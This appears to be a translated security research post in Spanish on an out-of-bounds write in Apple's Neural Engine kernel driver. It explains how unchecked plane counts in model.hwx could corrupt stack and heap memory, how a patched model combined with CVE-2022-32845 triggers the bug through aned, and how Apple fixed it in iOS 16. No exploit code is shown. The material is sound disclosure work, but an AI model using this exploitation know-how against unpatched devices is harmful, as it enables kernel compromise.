Análisis:

Las funciones ZinComputeProgramGetNamesFromMultiPlaneLinear() y ZinComputeProgramGetNamesFromMultiPlaneTiledCompressed() son responsables de analizar la entrada y salida del procedimiento, o más precisamente, el comando LC_THREAD con sabor de hilo 2 (ane_bind_state) cuyo valor binding_type_info es 4 y 5. Por lo que puedo decir, binding_type_info = 4 significa que la entrada de un procedimiento tiene más de un plano, y binding_type_info = 5 significa que la entrada no solo tiene más de un plano sino que también está comprimida. La función ZinComputeProgramGetNamesFromMultiPlaneLinear(), por ejemplo, toma 5 argumentos: un puntero al comando de carga, un puntero al enlace del hilo y tres argumentos de salida adicionales. El último argumento de salida, planes, es un array que contendrá planos, o punteros del kernel, cuyos contenidos son controlados por el usuario, y el último argumento planeCount indicará cuántos planos (o punteros del kernel) se copiaron en planes desde el archivo model.hwx. La siguiente es la definición de la función:

Debido a la falta de validación de cuántos planos puede proporcionar un modelo, los punteros del kernel podrían escribirse fuera de los límites del array planes, lo que podría llevar a muchos escenarios interesantes de corrupción de memoria.

Convirtiendo la corrupción de memoria en desbordamiento de pila:

El array planes es una variable de pila ubicada en H11ANEIn::ANE_ProgramCreate_gated(), y al desbordar esta variable (que se supone debe contener múltiples planos hasta 4 elementos) con más de 4 planos, otras variables de pila podrían corromperse también, lo que podría llevar a otros problemas como confusión de tipo, ya que los punteros del kernel sobrescritos están completamente bajo control del usuario. Obviamente, desbordar el array planes con demasiadas entradas probablemente sobrescribiría el cookie de pila así como el puntero de marco de pila anterior guardado, resultando en un pánico del kernel. Afortunadamente, el número total de planos está completamente bajo control del modelo dado, por lo que podríamos corromper varias variables de pila sin afectar esas áreas sensibles de la pila.

Convirtiendo la corrupción de memoria en desbordamiento de montón:

Otro escenario interesante, y como se ilustra en la imagen de abajo, es posible desbordar dos objetos del montón: H11ANEProgramBindingInfo (en la línea 528) y H11ANEProgramCreateArgsStructOutput (en la línea 533).

La definición de la estructura de H11ANEProgramCreateArgsStructOutput se muestra arriba, y corromperla podría resultar en los siguientes fallos:

Desencadenar la vulnerabilidad:

Lo que hace que estas vulnerabilidades sean interesantes es que no requieren interactuar directamente con el kernel, en otras palabras, no es necesario abrir una conexión UserClient, simplemente necesitas compilar (o crear) un modelo malicioso y dejar que aned lo cargue en tu nombre. Como sabrás, para cargar cualquier modelo a través de aned, el modelo debe ser compilado por el servicio del sistema ANECompilerService o firmado por Apple. En otras palabras, la aplicación debe proporcionar un directorio .mlmodelc a aned, que luego solicitará a ANECompilerService que lo compile a model.hwx usando dos frameworks llamados Espresso y ANECompiler. Si no sabes de lo que estoy hablando, eres bienvenido a echar un vistazo a las diapositivas de #POC2022 aquí donde di una visión general básica de cómo funciona aned. Además, puedes obtener más detalles sobre el proceso de compilación en la excelente charla de BlackHat de Wish Wu con respecto a su investigación sobre ANE, así como su gran herramienta que imita exactamente lo que hace ANECompilerService.

En nuestro caso aquí, necesitamos un model.hwx con un procedimiento cuya entrada (o salida) soporte múltiples planos. Desafortunadamente, no existe tal modelo disponible en formato mlmodel, mlmodelc o mlpackage, y solo unos pocos modelos en formato hwx son proporcionados por Apple. La inspección de estos modelos hwx reveló que están usando algunas operaciones de redes neuronales extrañas/sin documentar que no existen en la base de código de la librería coremltools de código abierto, lo que sugiere que estas capas de red son probablemente solo para uso interno. Sin embargo, la implementación de estas operaciones está definida por el framework Espresso, y se requiere algo de ingeniería inversa para entender qué entradas y salidas soportan y cómo usarlas correctamente como una capa dentro de una red neuronal. Dado que el framework está escrito en C++ con STL, no tenía interés en hacer ingeniería inversa de esta operación porque tomaría una eternidad.

Esta fue la razón principal que me llevó a descubrir CVE-2022-32845, que no solo me permitió evitar la ingeniería inversa de este aterrador framework, sino que también me ahorró cientos de horas de estudio de temas avanzados de Machine Learning.

Así que tomé un model.hwx simple y parcheé uno de sus comandos LC_THREAD para replicar el resultado deseado en ane_bind_state, y luego exploté CVE-2022-32845 para engañar a aned para que lo cargara como si estuviera firmado por Apple; y eso fue suficiente para demostrar la vulnerabilidad a Apple.

La función que parchea el modelo se muestra a continuación, y puedes tomar prestado algo de código de mi exploit del kernel weightBufs si quieres desencadenar la vulnerabilidad tú mismo.

El parche:

Apple abordó el problema en iOS 16 introduciendo algunas comprobaciones de validación en ambas funciones vulnerables, limitando el número de planos suministrado a cuatro entradas, como se muestra a continuación:

Eso es todo por ahora, ¡nos vemos pronto!